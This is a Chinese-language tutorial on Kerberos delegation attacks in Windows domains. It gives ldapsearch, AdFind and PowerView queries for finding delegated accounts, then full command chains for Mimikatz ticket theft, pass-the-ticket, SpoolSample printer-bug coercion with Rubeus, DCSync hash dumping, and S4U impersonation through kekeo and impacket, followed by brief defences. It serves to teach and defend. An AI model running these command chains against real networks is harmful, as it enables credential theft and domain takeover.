域渗透——Kerberos委派攻击
字数 1754 2025-08-25 22:58:29
Kerberos委派攻击技术详解
前置知识
域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。委派主要分为三种类型:
- 非约束委派(Unconstrained delegation):服务账号可以代表用户访问域内任何服务
- 约束委派(Constrained delegation):服务账号只能代表用户访问特定的服务
- 基于资源的约束委派(Resource Based Constrained Delegation):由资源决定哪些服务可以委派给它
发现域中委派的用户和计算机
非约束委派的查找
非约束委派的用户或计算机会在userAccountControl属性中包含TRUSTED_FOR_DELEGATION标志。
使用ldapsearch查找
查找非约束委派用户:
ldapsearch -x -H ldap://域控IP:389 -D "CN=用户,CN=Users,DC=域,DC=com" -w 密码 -b "DC=域,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep -iE "distinguishedName"
查找非约束委派主机:
ldapsearch -x -H ldap://域控IP:389 -D "CN=用户,CN=Users,DC=域,DC=com" -w 密码 -b "DC=域,DC=com" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep -iE "distinguishedName"
使用ADFind查找
查找非约束委派用户:
AdFind.exe -b "DC=域,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查找非约束委派主机:
AdFind.exe -b "DC=域,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
使用PowerView查找
查找非约束委派用户:
Get-NetUser -Unconstrained -Domain 域名.com | select name
查找非约束委派主机:
Get-NetComputer -Unconstrained -Domain 域名.com
约束委派的查找
约束委派的用户或计算机会在userAccountControl属性中包含TRUSTED_TO_AUTH_FOR_DELEGATION标志,并且msDS-AllowedToDelegateTo属性会包含被约束的服务。
使用ldapsearch查找
查找约束委派用户:
ldapsearch -x -H ldap://域控IP:389 -D "CN=用户,CN=Users,DC=域,DC=com" -w 密码 -b "DC=域,DC=com" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" | grep -iE "distinguishedName|allowedtodelegateto"
查找约束委派主机:
ldapsearch -x -H ldap://域控IP:389 -D "CN=用户,CN=Users,DC=域,DC=com" -w 密码 -b "DC=域,DC=com" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" | grep -iE "distinguishedName|allowedtodelegateto"
使用ADFind查找
查找约束委派用户:
AdFind.exe -b "DC=域,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
查找约束委派主机:
AdFind.exe -b "DC=域,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
使用PowerView查找
查找约束委派用户:
Get-DomainUser –TrustedToAuth -domain 域名.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
查找约束委派主机:
Get-DomainComputer -TrustedToAuth -Domain 域名.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
非约束委派的利用
攻击原理
当用户访问配置了非约束委派的服务时,会将用户的TGT发送给服务并保存在内存中,攻击者可以获取该TGT并利用它模拟用户身份访问域内任何服务。
攻击步骤
- 找到配置了非约束委派的主机或服务账号
- 诱导高权限用户(如域管理员)访问该服务
- 使用Mimikatz导出内存中的TGT票据:
privilege::debug sekurlsa::tickets /export - 使用导出的TGT票据进行PTT(Pass The Ticket)攻击:
kerberos::ptt [导出的TGT票据文件] - 使用注入的票据访问域控或其他资源
非约束委派+Spooler打印机服务攻击
利用Windows打印系统远程协议(MS-RPRN)强制目标主机向攻击者控制的主机进行身份验证。
- 确保攻击者控制的主机(win10)配置了非约束委派
- 使用SpoolSample工具强制域控向win10进行身份验证:
SpoolSample.exe 域控主机名 攻击者主机名 - 使用Rubeus监听并捕获TGT:
Rubeus.exe monitor /interval:1 /filteruser:域控主机名$ - 使用捕获的TGT进行PTT攻击:
Rubeus.exe ptt /ticket:base64编码的TGT - 使用dcsync导出域内所有用户hash:
lsadump::dcsync /domain:域名 /all /csv
约束委派的利用
攻击原理
约束委派限制了服务账号只能代表用户访问特定的服务。如果获取了配置约束委派的服务账号凭据,可以伪造S4U请求,模拟任意用户访问被允许的服务。
攻击步骤
- 找到配置了约束委派的服务账号
- 获取服务账号的明文密码或NTLM Hash
- 使用kekeo请求服务账号的TGT:
或使用NTLM Hash:tgt::ask /user:服务账号 /domain:域名 /password:密码 /ticket:test.kirbitgt::ask /user:服务账号 /domain:域名 /NTLM:Hash值 - 使用获取的TGT伪造S4U请求,模拟管理员访问被允许的服务:
tgs::s4u /tgt:TGT票据文件 /user:Administrator@域名.com /service:允许的服务 - 使用导出的ST票据进行PTT攻击:
kerberos::ptt TGS_Administrator@域名.com@允许的服务票据文件 - 访问被允许的服务
利用约束委派生成黄金票据
- 为服务账号添加对krbtgt服务的委派权限:
Import-Module ActiveDirectory $user = Get-ADUser 服务账号 Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/域名.com") } - 使用impacket的getST请求管理员的TGT:
getst.exe -dc-ip 域控IP -spn krbtgt/域名.com -impersonate Administrator 域名.com/服务账号:密码 - 使用生成的票据(Administrator.ccache)进行PTT攻击:
set KRB5CCNAME=Administrator.ccache - 使用wmiexec等工具执行命令:
wmiexec.exe -no-pass -k administrator@域控主机名.域名.com -dc-ip 域控IP
防御措施
- 高权限用户设置为不可委派
- 将敏感用户加入Protected Users组(Windows Server 2012 R2及以上)
- 提高服务账号密码强度,防止暴力破解
- 定期审计域内委派配置
- 限制不必要的服务账号权限
参考工具
- Mimikatz - 提取内存中的票据
- kekeo - 生成和操作Kerberos票据
- Rubeus - Kerberos攻击工具集
- Impacket - 网络协议工具集
- PowerView - Active Directory信息收集
- ADFind - LDAP查询工具
- SpoolSample - 打印机服务漏洞利用工具
通过以上技术,攻击者可以利用配置不当的Kerberos委派权限在域环境中进行横向移动和权限提升。防御者应定期审计域内委派配置,限制不必要的服务账号权限,并实施严格的权限管理策略。